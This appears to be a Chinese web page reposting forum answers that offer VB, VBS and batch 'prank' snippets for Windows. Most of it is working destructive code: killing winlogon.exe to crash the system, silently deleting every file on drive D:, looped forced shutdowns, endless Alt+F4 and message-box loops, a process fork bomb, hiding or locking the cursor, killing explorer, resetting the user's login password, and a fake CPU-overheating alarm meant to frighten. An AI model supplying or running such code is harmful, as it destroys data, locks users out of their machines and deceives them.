VB代碼之：鼠標(biāo)鎖 option Explicit Private Type RECT? Left As Long? Top As Long? Right As Long? Bottom As Long? End Type Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long Private Sub Command1_Click()'鎖定鼠標(biāo)? Dim r As RECT? r.Left = 100: r.Top = 100? r.Right = 100: r.Bottom = 100? ClipCursor r? End Sub Private Sub Command2_Click()‘解除鎖定? ClipCursor ByVal 0&? End Sub

VB代碼之：藍(lán)屏代碼 Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0

VB代碼之：關(guān)不掉的窗口? Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) Print "woca" Cancel = True End sub

VB代碼之：不斷打開關(guān)機(jī)對(duì)話框 Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long) Private Sub Form_Load() Do ShutDownDialog hWnd Loop End Sub

VB代碼之：彈出無限 Msgbox Private Sub Form_Load()? love: msgbox"嘿嘿"? Go to love? End Sub

VB代碼之：CPU100%占據(jù)者 Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) Form1.Show End Sub Private Sub Form_Load() Timer1.Interval = 10 Timer2.Interval = 10 Form1.Hide For i = 1 To 1E+23 For a = 1 To 1E+16 Next a For b = 1 To 1E+19 Next b For c = 1 To 999999999 Next c Next i End Sub Private Sub Timer1_Timer() Form1.Show End Sub Private Sub Timer2_Timer() Form1.Show End Sub

VB代碼之：編寫系統(tǒng)炸彈 Private Sub Form_Load() For i=1To 1E+40 Shell"shutdown -s -t 0" Next i End Sub VB代碼之：編寫無限彈不規(guī)則窗口 Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Sub Form_Load()? '窗口永在最前? SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1? Randomize Timer '偽隨機(jī)數(shù)發(fā)生器? Me.Width = Int(Screen.Width / 2 * Rnd)? Me.Height = Int(Screen.Height / 2 * Rnd)? Me.Left = Int((Screen.Width - Me.Width) * Rnd)? Me.Top = Int((Screen.Height - Me.Height) * Rnd) Timer1.Interval = Int(Rnd * 5000) + 5000? End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)? Dim a As New Form1? a.Show? Cancel = 1? Me.FontSize = 14? Print "這么是關(guān)不掉我的。" & vbCrLf & "啦啦啦……"? End Sub Private Sub Timer1_Timer()? Me.Left = Rnd * 10000? Me.Top = Rnd * 8000? End Sub

VB代碼之：鼠標(biāo)不見了 Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)? ShowCursor (False)? End Sub Private Sub Command2_Click()? ShowCursor (True)? MsgBox "ok"? End Sub

這個(gè)是來自于 我們?nèi)豪锏恼搲锏囊粋€(gè)

創(chuàng)建 一個(gè)Text 和一個(gè) Command1 Shell "Taskkill /f /im " & Text1.Text '結(jié)束Text1里的進(jìn)程 ~? 提個(gè)醒：把Text1的Text 為 "重要的進(jìn)程" '我就不說 系統(tǒng)重要的進(jìn)程了…… 請(qǐng)看下面 Windows 進(jìn)程表 下面的是Windows XP 常見的進(jìn)程列表 最基本的系統(tǒng)進(jìn)程（也就是說，這些進(jìn)程是系統(tǒng)運(yùn)行的基本條件，有了這些進(jìn)程，系統(tǒng) 就能正常運(yùn)行） smss.exe Session Manager csrss.exe 子系統(tǒng)服務(wù)器進(jìn)程 winlogon.exe 管理用戶登錄 services.exe 包含很多系統(tǒng)服務(wù) lsass.exe 管理 IP 安全策略以及啟動(dòng) ISAKMP/Oakley (IKE) 和 IP 安全驅(qū)動(dòng)程序。 (系統(tǒng)服務(wù)) 產(chǎn)生會(huì)話密鑰以及授予用于交互式客戶/服務(wù)器驗(yàn)證的服務(wù)憑據(jù)(ticket)。(系統(tǒng)服務(wù)) svchost.exe 包含很多系統(tǒng)服務(wù) svchost.exe SPOOLSV.EXE 將文件加載到內(nèi)存中以便遲后打印。(系統(tǒng)服務(wù)) explorer.exe 資源管理器 internat.exe 托盤區(qū)的拼音圖標(biāo) 附加的系統(tǒng)進(jìn)程（這些進(jìn)程不是必要的，你可以根據(jù)需要通過服務(wù)管理器來增加或減 少） mstask.exe 允許程序在指定時(shí)間運(yùn)行。(系統(tǒng)服務(wù)) regsvc.exe 允許遠(yuǎn)程注冊(cè)表操作。(系統(tǒng)服務(wù)) winmgmt.exe 提供系統(tǒng)管理信息(系統(tǒng)服務(wù))。 inetinfo.exe 通過 Internet 信息服務(wù)的管理單元提供 FTP 連接和管理。(系統(tǒng)服務(wù)) tlntsvr.exe 允許遠(yuǎn)程用戶登錄到系統(tǒng)并且使用命令行運(yùn)行控制臺(tái)程序。(系統(tǒng)服務(wù)) 允許通過 Internet 信息服務(wù)的管理單元管理 Web 和 FTP 服務(wù)。(系統(tǒng)服務(wù)) tftpd.exe 實(shí)現(xiàn) TFTP Internet 標(biāo)準(zhǔn)。該標(biāo)準(zhǔn)不要求用戶名和密碼。遠(yuǎn)程安裝服務(wù) 的一部分。(系統(tǒng)服務(wù)) termsrv.exe 提供多會(huì)話環(huán)境允許客戶端設(shè)備訪問虛擬的 Windows 2000 Professional 桌面會(huì)話以及運(yùn)行在服務(wù)器上的基于 Windows 的程序。(系統(tǒng)服務(wù)) dns.exe 應(yīng)答對(duì)域名系統(tǒng)(DNS)名稱的查詢和更新請(qǐng)求。(系統(tǒng)服務(wù)) 以下服務(wù)很少會(huì)用到，上面的服務(wù)都對(duì)安全有害，如果不是必要的應(yīng)該關(guān)掉 tcpsvcs.exe 提供在 PXE 可遠(yuǎn)程啟動(dòng)客戶計(jì)算機(jī)上遠(yuǎn)程安裝 Windows 2000 Professional 的能力。(系統(tǒng)服務(wù)) 支持以下 TCP/IP 服務(wù)：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。(系統(tǒng)服務(wù)) ismserv.exe 允許在 Windows Advanced Server 站點(diǎn)間發(fā)送和接收消息。(系統(tǒng)服 務(wù)) ups.exe 管理連接到計(jì)算機(jī)的不間斷電源(UPS)。(系統(tǒng)服務(wù)) wins.exe 為注冊(cè)和解析 NetBIOS 型名稱的 TCP/IP 客戶提供 NetBIOS 名稱服務(wù)。 (系統(tǒng)服務(wù)) llssrv.exe License Logging Service(system service) ntfrs.exe 在多個(gè)服務(wù)器間維護(hù)文件目錄內(nèi)容的文件同步。(系統(tǒng)服務(wù)) RsSub.exe 控制用來遠(yuǎn)程儲(chǔ)存數(shù)據(jù)的媒體。(系統(tǒng)服務(wù)) locator.exe 管理 RPC 名稱服務(wù)數(shù)據(jù)庫(kù)。(系統(tǒng)服務(wù)) lserver.exe 注冊(cè)客戶端許可證。(系統(tǒng)服務(wù)) dfssvc.exe 管理分布于局域網(wǎng)或廣域網(wǎng)的邏輯卷。(系統(tǒng)服務(wù)) clipsrv.exe 支持“剪貼簿查看器”，以便可以從遠(yuǎn)程剪貼簿查閱剪貼頁(yè)面。(系統(tǒng) 服務(wù)) msdtc.exe 并列事務(wù)，是分布于兩個(gè)以上的數(shù)據(jù)庫(kù)，消息隊(duì)列，文件系統(tǒng)，或其 它事務(wù)保護(hù)資源管理器。(系統(tǒng)服務(wù)) faxsvc.exe 幫助您發(fā)送和接收傳真。(系統(tǒng)服務(wù)) cisvc.exe Indexing Service(system service) dmadmin.exe 磁盤管理請(qǐng)求的系統(tǒng)管理服務(wù)。(系統(tǒng)服務(wù)) mnmsrvc.exe 允許有權(quán)限的用戶使用 NetMeeting 遠(yuǎn)程訪問 Windows 桌面。(系統(tǒng)服 務(wù)) netdde.exe 提供動(dòng)態(tài)數(shù)據(jù)交換 (DDE) 的網(wǎng)絡(luò)傳輸和安全特性。(系統(tǒng)服務(wù)) smlogsvc.exe 配置性能日志和警報(bào)。(系統(tǒng)服務(wù)) rsvp.exe 為依賴質(zhì)量服務(wù)(QoS)的程序和控制應(yīng)用程序提供網(wǎng)絡(luò)信號(hào)和本地通信控制 安裝功能。(系統(tǒng)服務(wù)) RsEng.exe 協(xié)調(diào)用來儲(chǔ)存不常用數(shù)據(jù)的服務(wù)和管理工具。(系統(tǒng)服務(wù)) RsFsa.exe 管理遠(yuǎn)程儲(chǔ)存的文件的操作。(系統(tǒng)服務(wù)) grovel.exe 掃描零備份存儲(chǔ)(SIS)卷上的重復(fù)文件，并且將重復(fù)文件指向一個(gè)數(shù)據(jù)存 儲(chǔ)點(diǎn)，以節(jié)省磁盤空間。(系統(tǒng)服務(wù)) SCardSvr.exe 對(duì)插入在計(jì)算機(jī)智能卡閱讀器中的智能卡進(jìn)行管理和訪問控制。(系統(tǒng) 服務(wù)) snmp.exe 包含代理程序可以監(jiān)視網(wǎng)絡(luò)設(shè)備的活動(dòng)并且向網(wǎng)絡(luò)控制臺(tái)工作站匯報(bào)。(系 統(tǒng)服務(wù)) snmptrap.exe 接收由本地或遠(yuǎn)程 SNMP 代理程序產(chǎn)生的陷阱消息，然后將消息傳遞 到運(yùn)行在這臺(tái)計(jì)算機(jī)上 SNMP 管理程序。(系統(tǒng)服務(wù)) UtilMan.exe 從一個(gè)窗口中啟動(dòng)和配置輔助工具。(系統(tǒng)服務(wù)) msiexec.exe 依據(jù) .MSI 文件中包含的命令來安裝、修復(fù)以及刪除軟件。(系統(tǒng)服務(wù)) 嘿嘿 然后 Form的Load事件中 輸入代碼 Command1_Click 嘿嘿
msgbox "你要點(diǎn)100下確定",vbokcancel,"hkmfk" for i=1 to 100 msgbox "加油!!!"&"還有"&(100-i)&"下",4096,"zhb0813" next



dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true

2.刪除D:所有文件 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true

3.不斷彈出窗口 while(1) msgbox "哈哈 你被耍了！" loop

4.不斷按下alt+f4 （開什么都關(guān)閉……） dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop

放一個(gè)timer,名為timer1? Private Sub Form_Load()? Me.Visible = False? Timer1.Interval = 10*1000? End Sub? Private Sub Timer1_Timer()? msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！",16+4096,"警告"? msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！",16+4096,"警告" '可以多復(fù)制幾個(gè) msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！",16+4096,"警告"? End Sub

多了 去看我回答的所有內(nèi)容 我最在行了 ?VB的 不知道了 你應(yīng)該不是很會(huì) 這些東西 VB還要編成EXE 有點(diǎn)麻煩? 我估計(jì)你問的是VBS BAT之類的腳本 ?

1.掉qq ?taskkill /im qq.exe /f /t? 2.10秒強(qiáng)制關(guān)機(jī)（任務(wù)管理器無效） shutdown -s -t 10? 3.死機(jī) start cmd 0%? 4.設(shè)置登錄密碼為2097152 net user "%username%" 2097152? 5.讓電腦只剩一個(gè)背景 taskkill /im /f /t explorer.exe ? VBS的?

1.莫名其妙結(jié)束當(dāng)前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop ? 2.不斷提示你是豬 do msgbox("你是豬") loop? 剩下的是我以前編的 http://wenwen.soso.com/z/q242167878.htm ; 去這個(gè)網(wǎng)看看 ?BAT怎么寫 你自己去網(wǎng)上找找我就不費(fèi)話了 shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 運(yùn)行后直接藍(lán)屏。。。慎用~

總結(jié)

以上是生活随笔為你收集整理的vb的一些搞怪的操作的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。